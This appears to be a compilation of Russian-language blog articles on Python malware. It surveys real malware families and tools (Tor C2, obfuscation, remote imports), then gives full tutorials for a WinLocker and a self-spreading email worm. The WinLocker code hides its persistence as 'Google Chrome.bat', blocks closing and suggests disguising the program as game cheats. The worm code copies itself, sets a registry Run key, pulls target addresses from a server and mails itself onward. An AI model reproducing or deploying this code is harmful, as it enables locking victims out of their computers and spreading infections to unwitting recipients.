Мелкая питонячая радость #12: вирусы и зловредное ПО на Python

В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient hostname = 'ifconfig.me' # It's possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py "Grab the whole screen" import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'): . import package1 .
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'): . import covertutils . # Also works with 'bitbucket_repo' and 'gitlab_repo'
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
На сегодня все, прошлые питонячие радости смотрите по ссылке.
Вредоносное ПО на Python

Создавать вирусы на языке программирования Python сомнительная идея, зловредное ПО, созданное на этом языке, легко вычисляется антивирусами так как создавать полиморфный код на этом языке невозможно. Эти вирусы существуют только из-за фактора низкой компьютерной грамотности у большинства пользователей.
Как вирус начинает работу Python’e
Python – интерпретируемый язык, это накладывает некоторые трудности на установку вируса. Для его установки нужно чтобы на устанавливаемом устройстве находился интерпретатор нужной версии, а библиотеки находились на привольных адресах диска. Решение этому недугу есть, нужно упаковать вирус в бинарный исполняемый файл. Такие файлы имеют у себя на борту нужный интерпретатор и необходимые библиотеки. Также возможен вариант, когда в бинарном файле находится двоичная программа, созданная на основе кода Python.
Так как антивирусы легко вычисляют шаблонные вирусы, по типичной последовательности байтов, разработчики вредоносного ПО создают само модифицируемый код, он создает новый файлы с уникальными бинарными кодами. Такой возможностью могут пользоваться только те, кто пишет вирусы на полиморфных языка. Так как антивирусы сейчас идут в комплекте с Windows 10, то вирусы написанные на Python будут заражать малое количество пользователей.
Связь с вирусом
Если связь с вирусом поддерживать через домен и хостинг, то его владельца будет легко вычислить. Лучше всего общаться с вирусом через мессенджеры. Он могут предоставить очень большой процент того, что личность, которая поддерживает с вирусом связь останется анонимной. Для связи вируса и владельца используется библиотека «torpy». Это тривиальная для использования библиотека, в ней нужно указать только список адресов для связи.
Воровство пользовательской информации
Для кражи различных файлов не нужно качать специальные библиотеки, этот функционал может быть реализован штатными функциями Python. Для логирования нажатых клавиш, доступа к веб камере нужно использовать специальные библиотеки.
Вирусы на серверах

Заражение серверов происходит по другой методике. В большинстве интерпретаторы Python на серверах есть, так же есть библиотеки, которые явно расположены по верным адресам хранения. Поэтому авторы вирусов для работы на серверах вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Написание WinLocker’а на Python
Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.
Вступление
И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!
Что нам нужно?
Для создания винлокера нам понадобится:
- Сам Python, установить который вы сможете на официальном сайте
- Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)
- Доступ к интернету для установки необходимых модулей в PyPI
- Компьютер, работающий на ОС Windows
- Хоть какое-то базовое познание Python
- Прямые руки
- Чай с молоком, или в крайнем случае кофе
Приступаем к написанию
Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.
Создаём файл main.py в любой директории

После этого открываем его в любом редакторе.

И начинаем писать наш волшебный код.
Установка и импорт модулей
Ах да. чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd

и попадаем в командную строку.

вводим туда pip install getpass3
И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound
Потом возвращаемся в наш файл, и пишем в нём слудующее:
# Импортируем все модули, которые нам пригодятся from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep
Создание окна
После этого для удобства ставим отступ, и пишем вот такое
USER_NAME = getpass.getuser()
Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.
Потом вводим в наш файл такие истрочки, пояснение будет в комментариях
window = Tk() # Присваиваем переменной window значение окна, чтобы мы не писали всегда Tk() window.title("WinLocker by GDisclaimer") # Делаем заголовок окна WinLocker by GDisclaimer window.geometry('400x250') # Хотя это нам не понадобиться, но на всякий случай, это делает размер окна 400 на 250 пикселей window['bg'] = 'black' # Теперь наше окно будет чёрным window.mainloop() # Эта строчка нам нужна, чтобы окно не закрывалось сразу же после открытия

Для удобства, вот вам код, который вы должны скопировать:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' window.mainloop()
Запуск, и проверка кода на работоспособность
Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:
cd "C:\Your\Path\To\The\Main\Py\File"
Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так
cd "C:\myFiles"

потом вводим вот такую строчку:
python main.py
В результате у вас должно запуститься окно.

Круто! Но ведь это ещё далеко не винлокер.
Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность
Делаем окно адаптивным
Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920×1080 мониторы. У меня самого монитор 1366×768. А у кого-то мониторы ещё меньше

И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.
К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.
ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()
# Base size normal_width = 1920 # Задаём ширину обычного монитора normal_height = 1080 # Задаём высоту обычного монитора # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize))

Опять-же вот вам весь код:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) window.mainloop()
Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше
Добавляем функции
Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.
# Запускаем песню, которую вы должны скачать def play(test): playsound('sound.mp3', False) # Добавляем наш винлокер на автозапуск def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) # Эта функция не даёт нам закрыть окно путём Alt + F4 def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() # Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем плане def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) # Тут мы проверяем пароль на правильность def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit()
Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо
И да, на первой строчке мы видим функцию play(test) . Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.
Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем

Делаем апгрейд интерфейса
До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?
Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):
add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапуск fullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран # Создаем текст txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') # Используем метод .grid, чтобы текст появился на экране txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) # Расставляем весь текст по местам txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) # Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked() txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) # Врубаем ранее установленную песню play('sound.mp3')
ВНИМАНИЕ! ОКНО ЗАКРЫВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4
А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya
Запускаем и проверяем. Окно должно выглядеть вот так:

Если же нет, то вот вам весь код:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) def play(test): playsound('sound.mp3', False) def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit() add_to_startup("C:\\myFiles\\main.py") fullscreen() txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) play('sound.mp3') window.mainloop()
Убираем возможность закрытия окна путём Alt + F4
Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.
Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()

Теперь от винлокера можно избавиться вводом кода.
КОД: petya
Убираем возможность снять винлокер путём закрытия командной строки
Особо внимательные читатели додумались закрывать винлокер обычного закрытия командной строки. Если вы меня не поняли, ничего страшного. Потом поймёте. нам нужно всего лишь к файлу main.py добавить w, чтобы получилось main.pyw
Исходный код
Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) def play(test): playsound('sound.mp3', False) def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit() add_to_startup("C:\\myFiles\\main.py") fullscreen() txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) block() play('sound.mp3') window.mainloop()
.EXE файл
Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)
Заключение
В заключение я хочу сказать скептикам - делать вирусы можно хоть где. Даже на том самом PHP.
Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.
Всем удачи, и хорошего дня!
Статья Изучаем принцип работы сетевого червя на Python
Приветствую!
Пытался придумать вводную - не получилось. Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как "сетевой червь" и даже напишем одного такого.
Итак, что же такое, эти ваши сетевые черви?
Если поискать на википедии, то можно найти следующее определение: "Сетевой червь — разновидность
Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей
) компьютерные сети." и, в принципе, все верно, сетевой червь - это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.
Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, "безопасную" IRC.
Принцип работы сетевого червя довольно прост - вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.
Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.
!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ - плохо и можно за это понести ответственность, согласно
Ссылка скрыта от гостей
, или другой страны, в которой вы проживаете.
Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к. я криворукий рукожоп и не могу нормально использовать другой яп он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.
Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.
С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
#!/usr/bin/env python # -*- coding: utf-8 -*- import os, sys import shutil import requests from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.application import MIMEApplication
Думаю, os, sys, requests - всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email - используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
pip install 'название модуля'
pip3 install 'название модуля'
Теперь решим первую задачу - самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
def main(): # Создаем клона dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем if not os.path.exists(dir): # если директории не существует - создать и скопировать туда нашего червя os.makedirs(dir) # создание директории в appdata shutil.copy(__file__, path) # копирование программы
С этой частью - все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет - то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.
Переходим ко второй задаче - прописываем червя в автозапуск, через реестр:
# прописываем в автозапуск, через реестр reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) SetValueEx(reestr_path, 'worm', 0, REG_SZ, path) CloseKey(reestr_path)
Готово, тут тоже все элементарно - определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название "worm".
Теперь перейдем к пунктам 3 и 4 - тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы - расскажу в следующий раз, что это, с чем это едят и как такое сделать.
# Тригирим канарейку requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html') # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки) instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера with open('instruction.txt', 'wb') as f: shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
sudo python -m SimpleHTTPServer 80
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями "instruction.txt", который и стягивает наш червь.
Так же, вместо своего сервера, можно использовать другие средства, например - гит-репозиторий, с которого червь будит тянуть то, что нам нужно.
Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
def Execute(): """Функция для выполненя зловредных действий""" with open('README.txt', 'w', encoding='utf-8') as f: f.write('Belligerent worm in action')
У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл "README.txt", но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.
И вот мы наконец добрались до последнего 6 пункта - самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
def SendMail(path): """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции""" # подготовка данных писма with open('instruction.txt', 'r') as f: for mail in f: # читаем файл с email-адресами, для рассылки построчно if mail != None: FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка TO = mail msg = MIMEMultipart() msg['From'] = FROM msg['To'] = TO msg['Subject'] = 'worm' # тема письма # вложение файла with open(path, 'rb') as f: part = MIMEApplication(f.read(), Name=os.path.basename(path)) part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path) msg.attach(part) # Отправка письма smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587) smtpOBJ.starttls() smtpOBJ.login(FROM, 'паорль от своей почты') smtpOBJ.sendmail(FROM, TO, msg.as_string()) smtpOBJ.quit()
